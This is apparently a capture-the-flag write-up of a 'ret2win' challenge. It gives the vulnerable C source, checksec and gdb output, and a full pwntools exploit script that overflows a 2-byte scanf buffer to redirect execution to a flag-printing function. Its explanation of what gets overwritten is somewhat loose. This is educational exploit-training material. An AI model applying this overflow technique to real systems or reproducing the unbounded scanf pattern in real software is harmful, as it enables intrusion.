pwn - ret2win
In this write i will explain how overflow a binary and overwrite the return value with an address of our choice. i this case we will point the execution our the win function that gives us the flag. MAYBE: to do this locally you can get the chall here with its source code here. NO decompilation pressure
lets get started
Well, we have the source, we can first take a look at it before we get to the binary
We have three functions main
, welcome_message
and win
. All we need is have win
function being executed. Unlucky for us, our lovely function is not called in the main
function. not entirely unlucky though.
In buffer overflow, we are mostly used to seeing the gets
as the function handling our input, in this case we have scanf
. It took me a while before i could really understand how this code can be vulnerable. Then i saw that the scanf
function is taking all our input to the buff
variable which only stores 2 bytes
(one character only) letting the rest overwrite the values in the stack. sweeeet!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
// all the best !! :)
void win(){
char flag[100];
const int fd = open("./flag.txt", O_RDONLY);
if (fd < 0){
fprintf(stdout, "if this happens on the server, talk to admin, else create a flag.txt file :)");
fflush(stdout);
}
read(fd, flag, sizeof(flag));
fprintf(stdout, "%s \n", flag);
fflush(stdout);
}
void welcome_message(){
fprintf(stdout, "Welcome to the Madness Comrade !\n");
fflush(stdout);
}
int main(int argc, char **argv){
void (*f)() = welcome_message;
char buff[2];
printf("Do you have anything to say? (y\\n): ");
fflush(stdout);
scanf("%s", buff);
f();
return 0;
}
Checking on the file, we find it is of 64 bit architecture, it is dynamically linked and not stripped which would have helped us very much if we did not have its source file.
1
2
3
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c88907f681c0259d1ead3c61498b872418d33529, for GNU/Linux 3.2.0, not stripped
Let us now check the security of the binary. There is no canaries
and No PIE
which means we can overflow without being caught and the address of the win
function does not change. Thats all we needed, isn’t.
1
2
3
4
5
6
7
8
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ checksec --file chall
[*] '/home/kali/hacks/kca/pwn/ret2win/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
To test my logic, went on and fired up gdb
in my machine. And guess what, setting a break pointer right before the function returns, and reading the values in the rip register, i found it filled with my aaaaaa
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) b *main+92
Breakpoint 1 at 0x4012c1
(gdb) r
Starting program: /home/kali/hacks/kca/pwn/ret2win/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you have anything to say? (y\n): aaaaaaaa
Breakpoint 1, 0x00000000004012c1 in main ()
(gdb) x/1x $rip
0x4012c1 <main+92>: 0x000000b8
(gdb) s
Single stepping until exit from function main,
which has no line number information.
Program received signal SIGSEGV, Segmentation fault.
0x0000616161616161 in ?? ()
(gdb) x/1x $rip
0x616161616161: Cannot access memory at address 0x616161616161
(gdb)
We know the offset is 2
from the size of the buff
variable
1
char buff[2];
1
2
3
4
5
6
7
8
9
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ ./chall
Do you have anything to say? (y\n): aaaaaaaaaaaaaaa
zsh: segmentation fault ./chall
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ ./chall
Do you have anything to say? (y\n): aa
zsh: segmentation fault ./chall
Now, what do we need to complete our payload? well, remember the goal is to overwrite the return address which the win function’s address. So let us go on and look for the win address
using gdb
. There it is
1
2
3
(gdb) p *win
$1 = {<text variable, no debug info>} 0x401186 <win>
(gdb)
python script to automate the exploitation
With all that information, let us craft a python script that will do everything for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
#author: pr0rat
from pwn import *
exe = './chall'
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.LOCAL:
return process([exe] + argv, *a, **kw)
else:
print("Usage: ./exploit.py REMOTE <server> <port>")
print(" OR ./exploit.py LOCAL")
exit()
p= start()
#because our binary is 64 bit, we user p64 function in pwntools which represents it in
#little endian format as well as tell the program that it is of a 64 bit architecture
win_addr = p64(0x401186)
payload = b''
payload += b'nn'
payload += win_addr
p.recvuntil(b"): ")
p.sendline(payload)
print(p.recv())
Hooray!! with this script, you exploit the buffer overflow, overwrite the return address with the win function address which will give you the flag.
Running it locally
NB: It requires you to create a dummy flag.txt for testing.
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ python3 exploit.py
Usage: ./exploit.py REMOTE <server> <port>
OR ./exploit.py LOCAL
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ python3 exploit.py LOCAL
[+] Starting local process './chall': pid 75457
[*] Process './chall' stopped with exit code 0 (pid 75457)
b'flag{just_me_doing_my_tings}\n \n'
and in the remote server its just putting the IP and the port as shown from the usage message.